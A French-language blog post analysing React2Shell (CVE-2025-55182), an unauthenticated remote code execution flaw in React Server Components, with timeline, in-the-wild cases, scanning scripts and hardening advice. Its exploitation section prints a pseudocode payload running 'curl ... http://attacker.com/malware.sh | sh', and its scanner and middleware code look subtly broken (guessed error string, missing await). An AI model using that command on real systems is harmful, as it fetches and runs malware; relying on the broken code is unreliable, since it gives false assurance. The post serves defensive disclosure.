React2Shell (CVE-2025-55182) : Analyse approfondie d’une vulnérabilité critique de React

Par Lachlan Davidson
Dernière mise à jour : 4 décembre 2025

Table des matières

Introduction
Contexte et chronologie
Comprendre React2Shell
- Qu’est-ce que React2Shell ?
- Vue technique de la vulnérabilité
Impact sur les écosystèmes React et Next.js
Désérialisation non sécurisée et protocole Flight
Exploitation réelle et études de cas
Techniques de détection et de mitigation
Techniques d’exploitation avancées et analyse post-exploitation
Gestion des faux positifs : ce qu’il ne faut pas croire
Bonnes pratiques de correctif et de durcissement
Conclusion
Références

Au cours des dernières années, l’adoption de React et de ses frameworks associés a explosé, motorisant aussi bien de petits projets web que des applications d’entreprise à grande échelle. Cette popularité croissante s’accompagne d’une hausse des préoccupations en matière de sécurité, notamment lorsque des vulnérabilités touchent des composants critiques de l’écosystème.

Le 29 novembre 2025, j’ai divulgué de manière responsable à l’équipe Meta une faille dévastatrice : React2Shell (CVE-2025-55182). Cette vulnérabilité, qui affecte les implémentations côté serveur de React — et plus particulièrement le protocole « Flight » des React Server Components (RSC) — a été corrigée par les équipes React et Vercel le 3 décembre 2025. Cet article propose une analyse détaillée de la faille, de ses subtilités techniques à son exploitation réelle, ainsi qu’un ensemble de bonnes pratiques de détection et de mitigation.

Dans ce billet, vous trouverez :

Une explication de la vulnérabilité et de son impact sévère.
Les détails techniques sur l’origine et le fonctionnement de la faille.
Des études de cas réels d’exploitation et de comportement post-exploitation.
Des exemples de code et de commandes de scan pour détecter les instances vulnérables.
Les meilleures pratiques pour corriger et durcir vos déploiements.

Que vous soyez professionnel de la sécurité, développeur souhaitant comprendre les risques ou simple passionné des technologies web modernes, ce billet vous guidera des concepts fondamentaux aux techniques d’exploitation avancées et aux défenses proactives.

Contexte et chronologie

Comprendre la chronologie est essentiel pour évaluer la gestion du risque et la rapidité de la réponse :

29 novembre 2025 (PT) : divulgation responsable de la vulnérabilité par mes soins à l’équipe Meta.
3 décembre 2025 (PT) : publication des premiers avis et correctifs par les équipes React et Vercel.
4 décembre 2025 : circulation de divers codes d’exploitation PoC publics, certains étant toutefois jugés non représentatifs de la faille réelle.
Après la publication des correctifs : des chercheurs (Wiz Research, Amazon Threat Intelligence, Datadog, etc.) ont observé des attaques in-the-wild visant des instances Next.js et des déploiements cloud.

Un CVE supplémentaire, CVE-2025-66478, a été attribué à Next.js car React y est intégré (« vendored »). Bien qu’il s’agisse d’un doublon technique de CVE-2025-55182, ce nouvel identifiant aide les équipes à suivre plus finement leurs dépendances.

Comprendre React2Shell

Qu’est-ce que React2Shell ?

React2Shell est une vulnérabilité critique (CVE-2025-55182) affectant l’environnement des React Server Components via le protocole « Flight ». Elle permet une exécution de code distante (RCE) non authentifiée côté serveur à cause d’une désérialisation non sécurisée dans le paquet react-server.

Principales caractéristiques :

Gravité critique (10,0 CVSS)
RCE sans authentification : un simple appel HTTP suffit à compromettre le serveur.
Configurations par défaut vulnérables : les applications Next.js créées avec create-next-app, par exemple, sont exposées si aucun durcissement n’est appliqué.

Vue technique de la vulnérabilité

La faille provient du traitement des charges utiles RSC : la désérialisation ne valide pas correctement la structure des données entrantes. Un attaquant peut fournir un payload malveillant qui, une fois désérialisé, entraîne l’exécution de code arbitraire.

Flux simplifié :

Création du payload.
Requête HTTP vers le serveur vulnérable.
Désérialisation et exécution sans validation suffisante.
RCE offrant à l’attaquant un accès shell.

Impact sur les écosystèmes React et Next.js

Pourquoi est-ce si dangereux ?

Adoption massive de React/Next.js.
Facilité d’exploitation : un script automatisé peut suffire.
Taux de succès élevé en configuration par défaut.
Exposition publique : 39 % des environnements cloud sondés présentaient des instances vulnérables accessibles.

L’exception Next.js

Next.js embarque React comme dépendance interne ; les scanners qui ne lisent que le package.json peuvent passer à côté. D’où l’attribution du CVE-2025-66478 pour alerter spécifiquement les utilisateurs de Next.js.

Désérialisation non sécurisée et protocole Flight

La désérialisation non sécurisée

La désérialisation consiste à convertir des données (JSON, binaire, etc.) en objets exécutables. Si la validation est insuffisante, un attaquant peut injecter du code malveillant exécuté lors de la conversion.

Le protocole Flight

Flight optimise l’échange de données entre client et serveur pour RSC. Le manque de validation dans react-server a ouvert une brèche :

Réception et désérialisation de la charge.
Interprétation en instructions de rendu.
En cas de manipulation, exécution de commandes système.

Exploitation réelle et études de cas

Observations in-the-wild

Vol de credentials (variables d’environnement, secrets cloud).
Cryptominage via XMRig empaqueté UPX.
Reconnaissance post-exploitation et persistance avancée.

Étude de cas : Next.js sur Kubernetes

Un attaquant a :

Obtenu un shell inversé.
Accédé aux secrets Kubernetes.
Escaladé jusqu’à l’hôte.

Étude de cas : attaques cloud

Wiz Research :

39 % des environnements scannés contenaient des instances vulnérables.
Tentatives d’exfiltration de credentials AWS encodés en Base64.

Techniques de détection et de mitigation

Scan avec Bash et cURL

#!/bin/bash
# Scanner simple React2Shell (CVE-2025-55182)
TARGET="<url_cible>"
PAYLOAD='{"malicious":"payload"}'

echo "Scan de $TARGET..."
RESPONSE=$(curl -s -X POST -H "Content-Type: application/json" -d "$PAYLOAD" "$TARGET")

if echo "$RESPONSE" | grep -q "Error processing Flight payload"; then
  echo "[!] Vulnérabilité potentielle détectée sur $TARGET"
else
  echo "[−] Aucun signe évident sur $TARGET (analyse approfondie recommandée)."
fi

Analyse des données de vulnérabilité en Python

import requests, json, sys

def scan(url):
    headers = {"Content-Type": "application/json"}
    payload = {"test": "data", "action": "simulate_deserialization"}
    print(f"Scan de {url} ...")
    try:
        r = requests.post(url, headers=headers, data=json.dumps(payload), timeout=5)
        if "Error processing Flight payload" in r.text:
            print(f"[!] {url} semble vulnérable")
        else:
            print(f"[-] Pas d'indication immédiate sur {url}")
    except requests.RequestException as e:
        print(f"[!] Erreur sur {url}: {e}")

for target in sys.argv[1:]:
    scan(target)

Conseils pour une surveillance efficace

Protection runtime fournie par votre hébergeur.
Analyse des logs pour requêtes Flight suspectes.
Outils de gestion de vulnérabilités intégrés au pipeline CI/CD.

Techniques d’exploitation avancées et analyse post-exploitation

Développement d’exploit

Structuration fine des payloads pour contourner validations basiques.
Contournement WAF/EDR.
Chaînage de vulnérabilités pour mouvement latéral.

// Pseudocode – payload malveillant
const payload = {
  component: "ShellExec",
  args: {
    command: "bash -c 'curl -fsSL http://attacker.com/malware.sh | sh'",
  },
  _meta: { ts: Date.now(), nonce: Math.random().toString(36).slice(2) }
};
sendToServer(JSON.stringify(payload));

Disclaimer : code fourni à titre éducatif uniquement.

Étapes post-exploitation

Shell inversé, extraction de secrets, mouvements latéraux, déploiement de mineurs ou RAT.

Gestion des faux positifs

Des scanners peuvent signaler les fonctions :

vm#runInThisContext
child_process#exec
fs#writeFile

Leur simple présence n’implique pas React2Shell. Concentrez-vous sur :

La consultation des avis officiels.
La corrélation des journaux d’exécution.
La surveillance comportementale runtime.

Bonnes pratiques de correctif et de durcissement

Remédiation immédiate

Lire les avis officiels React/Next.js.
Mettre à jour vers react-server-dom* 19.0.1 / 19.1.2 / 19.2.1, etc.
Activer les protections runtime (WAF, EDR).
Surveiller les anomalies de désérialisation.
Partager l’info-menace avec la communauté.

Durcissement pour développeurs

Validation stricte des entrées.
Limiter l’exposition des endpoints Flight.
Audits réguliers (scans dépendances + revues de code).
Segmentation des environnements.

// Middleware Next.js – validation supplémentaire
import { NextResponse } from 'next/server';

export function middleware(request) {
  if (request.nextUrl.pathname.startsWith('/api/flight')) {
    try {
      const body = request.json();
      if (!body || typeof body !== 'object' || !body.component) {
        return new NextResponse('Payload invalide', { status: 400 });
      }
    } catch {
      return new NextResponse('Erreur traitement requête', { status: 400 });
    }
  }
  return NextResponse.next();
}

Conclusion

React2Shell (CVE-2025-55182) rappelle que même les frameworks les plus populaires ne sont pas à l’abri de failles critiques :

RCE non authentifiée extrêmement simple.
Répercussions majeures sur React et Next.js (CVE-2025-66478).
Exploitation déjà observée dans la nature.
Importance de distinguer vrais signaux et faux positifs.
Nécessité d’un cycle de mise à jour et de défense en profondeur permanent.

En maîtrisant les aspects techniques de React2Shell et le contexte menace, développeurs et équipes sécurité peuvent mieux protéger leurs applications.

Références

Ce guide complet devrait vous donner les connaissances et les outils nécessaires pour traiter React2Shell dans son intégralité, de la compréhension technique à la détection et à la mitigation pratiques. Restez à jour des avis officiels et améliorez en continu votre posture de sécurité.

Bon codage… en toute sécurité !

Untitled Post